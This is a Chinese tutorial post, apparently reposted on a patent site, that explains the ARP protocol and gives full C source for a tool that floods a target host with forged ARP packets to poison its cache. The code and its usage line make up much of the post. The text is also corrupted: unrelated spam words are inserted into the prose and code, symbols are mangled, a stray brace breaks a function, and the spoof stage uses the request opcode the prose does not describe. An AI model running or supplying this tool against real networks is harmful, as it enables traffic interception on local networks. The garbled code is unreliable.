C语言实现简单ARP欺骗小工具

阅读: 评论:0

C语⾔实现简单ARP欺骗⼩⼯具
在WireShark协议分析的学习过程学习了ARP协议的数据包格式,所以准备⾃制⼀个⼩⼩的ARP欺骗⼯具。在制作该⼯具前需要掌握如下知识:
##⼀、ARP协议内容
ARP(Address Resolution Protocol)协议的基本功能是通过IP地址到对应的硬件地址,ARP协议的⼯作过程是(假设A主机(IP:192.168.1.110、MAC:0A:11:22:33:44:01)要和B主机(IP:192.168.1.120、MAC:0A:11:22:33:44:02)进⾏通信):宕机检测
1、A主机在⾃⼰的ARP缓存中查是否有B主机的ARP缓存。
  2、如果主机A在ARP缓存中没有到映射,它将询问192.168.1.120的硬件地址,从⽽将ARP请求帧⼴播到本地⽹络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地⽹络上的每台主机都接收到ARP请求并且检查是否与⾃⼰的IP地址匹配。如果主机发现请求的IP地址与⾃⼰的IP地址不匹配,它将丢弃ARP请求。
  3、主机B确定ARP请求中的IP地址与⾃⼰的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
  4、主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
  5、当主机A收到从主机B发来的ARP回复消息时,会⽤主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有⽣存期的,⽣存期结束后,将再次重复上⾯的过程。主机B的MAC地址⼀旦确定,主机A就能向主机B发送IP通信了。
ARP协议的内容如下:
以太⽹传输层
⽬标以太⽹地址:⽬标MAC地址。ff:ff:ff:ff:ff:ff 为⼴播地址。
源以太⽹地址:发送⽅MAC地址。
帧类型:以太类型,ARP为0x0806。
以太⽹报⽂数据
硬件地址类型:如以太⽹(0x0001)、分组⽆线⽹。
协议地址类型:如⽹际协议(0x8000)、IPv6(0x86DD)。
硬件地址长度:每种硬件地址的字节长度,⼀般为6。
协议地址长度:每种协议地址的字节长度,⼀般为4。
操作码:1为请求,2为回显。
源硬件地址:n个字节,n由硬件地址长度得到,⼀般为发送⽅MAC地址。
源协议地址:m个字节,m由协议地址长度得到,⼀般为发送⽅IP地址。
⽬标硬件地址:n个字节,n由硬件地址长度得到,⼀般为⽬标MAC地址。
如下图:
##⼆、获取本机硬件地址
在Linux下获取本机的MAC地址可以使⽤ioctl函数实现,该函数的声明如下:
#include <sys/ioctl.h>
液压滑环
int ioctl(int d, int request, …);
利⽤该函数可以获取到⼀些硬件信息,具体取决于request和其后的变参列表的组合,这⾥我们使⽤SIOCGIFHWADDR和struct ifreq该结构体的组合来获取本机的MAC地址。使⽤⽅法如下:
ioctl(sock_fd, SIOCGIFHWADDR, ðinfo);
sock_fd是我们实现打开的⼀个⽂件描述符,ethinfo是⼀个struct ifreq类型的变量,函数调⽤成功之后会将MAC地址存⼊数组
ethinfo.ifr_hwaddr.sa_data中。
##三、通过socket直接操作数据链路层数据
Linux下直接通过socket操作数据链路层数据可以 socket创建⽂件描述符的时候传⼊SOCK_PACKET参数选项,然后通过sendto和recvfrom系统调⽤分别向绑定的⽹卡上发送和接收数据。具体使⽤见程序。
##四、程序实现过程
程序运⾏时需要指定三个命令⾏参数,分别是所使⽤的⽹卡设备、所要欺骗的⽬标IP,伪装的IP,如:./my_arpspoof eht0 192.168.1.1 192.168.1.109 表⽰告诉192.168.1.1我是192.168.1.109。
1、获取本机MAC地址,构建ARP请求包,向所要欺骗的⽬标IP发送ARP请求包⽤来获取其MAC地址。
  2、构建ARP回应包,填⼊伪装IP和⾃⼰的MAC地址发送给上⼀步获取的MAC地址。
  3、不断循环发送第⼆步构建的ARP数据包,使得对⽅主机处于持续接收我虚假ARP回应包的状态。
##五、代码实现
/*************************************************************************
> File Name: my_arpspoof.c
> Author: Jung
> Mail:
> Created Time: 2016年08⽉02⽇星期⼆ 08时02分14秒
变径管> Description:
************************************************************************/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <unistd.h>
//获取本机MAC地址,存⼊mac数组中,要求传⼊⽹卡名字
int getMacAddr(unsigned char mac[], const char name[])
{
struct ifreq ethinfo;
int sock_fd;
if (name == NULL || mac == NULL) {
return -1;
}
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Open Socket");
return -1;
}
}
strcpy(ethinfo.ifr_name, name);
if (ioctl(sock_fd, SIOCGIFHWADDR, ðinfo) < 0) {
perror("Ioctl");
return -1;
}
for (int i = 0; i < 6; ++i) {
mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];
}
close(sock_fd);
return 1;
}
//构建ARP数据包
void packarp(char *mymac, char *tarmac, int *tarip, int *myip, char *opcode, char *arppack) {
char eth_type[2] = {0x00,0x01};  //硬件类型,以太⽹为1
char por_type[2] = {0x08,0x00};    //ARP正在使⽤的上层协议类型,这⾥是IP协议
char type[2] = {0x08, 0x06};        //帧类型,0x0806表⽰ARP
char eth_length = 6;        //硬件地址长度
char por_length = 4;        //协议地址长度,这⾥指IP协议
memset(arppack, 0, 42);                //清空发送缓存区
memcpy(arppack, tarmac, 6);            //6个字节表⽰⽬标主机的mac地址
memcpy(arppack + 6, mymac, 6);          //6个字节表⽰源主机的mac地址
语音合成技术memcpy(arppack + 12, type, 2);        //帧类型,这⾥表⽰ARP
memcpy(arppack + 14, eth_type, 2);    //硬件地址,这⾥表⽰以太⽹
memcpy(arppack + 16, por_type, 2);      //ARP正在使⽤的上层协议
memcpy(arppack + 18, ð_length, 1);  //硬件地址长度
memcpy(arppack + 19, &por_length, 1);  //协议地址长度
memcpy(arppack + 20, opcode, 2);        //标记是ARP还是ARP应答
memcpy(arppack + 22, mymac, 6);          //发送者MAC地址
memcpy(arppack + 28, myip, 4);          //发送者IP
if (!(opcode[0] == 0x00 && opcode[1] == 0x01)) {
memcpy(arppack + 32, tarmac, 6);        //⽬标MAC地址
}
memcpy(arppack + 38, tarip, 4);        //⽬标IP地址
}
int main(int argc, char *argv[])
{
char mymac[6] = {0};
char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
char recvarp[42] = {0};
char sendarp[42] = {0};
int tarip;
int myip;
char opcode[2];
int sock_fd;
struct sockaddr addr;
if (argc < 4) {
return EXIT_FAILURE;
}
//获取本机MAC地址
if (getMacAddr(mymac, argv[1]) < 0) {
printf("获取MAC地址失败\n");
return EXIT_FAILURE;
}
myip = inet_addr(argv[3]);
tarip = inet_addr(argv[2]);
opcode[0] = 0x00;
opcode[1] = 0x01;
packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);
if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0) {        perror("Open Socket");
return EXIT_FAILURE;
}
memset(&addr, 0, sizeof(addr));
strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
socklen_t len = sizeof(addr);
while(1) {
if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
耐热粘合剂printf("发送ARP包成功\n");
} else {
perror("sendto");
return EXIT_FAILURE;
}
if (recvfrom(sock_fd, recvarp, 42, 0, &addr, &len) == 42) {
if (!memcmp((void *)recvarp + 28, (void *)sendarp + 38, 4)) {
memcpy(tarmac, recvarp + 22, 6);
printf("获取MAC地址成功\n");
break;
}
}
sleep(1);
}
opcode[0] = 0x00;
opcode[1] = 0x01;
packarp(mymac, tarmac, &tarip, &myip, opcode, sendarp);
while(1) {
尾排if (sendto(sock_fd, sendarp, 42, 0, &addr, len) == 42) {
printf("发送ARP欺骗包成功\n");
} else {
perror("sendto");
return EXIT_FAILURE;
}
sleep(1);
}
close(sock_fd);
return EXIT_SUCCESS;
}
⾄此,⼀个简单的ARP欺骗⼯具就制作完成了(仅供交流学习使⽤)。

本文发布于:2023-08-09 01:41:40,感谢您对本站的认可!

本文链接:https://patent.en369.cn/patent/4/210563.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:地址   硬件   协议   长度   请求
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 369专利查询检索平台 豫ICP备2021025688号-20 网站地图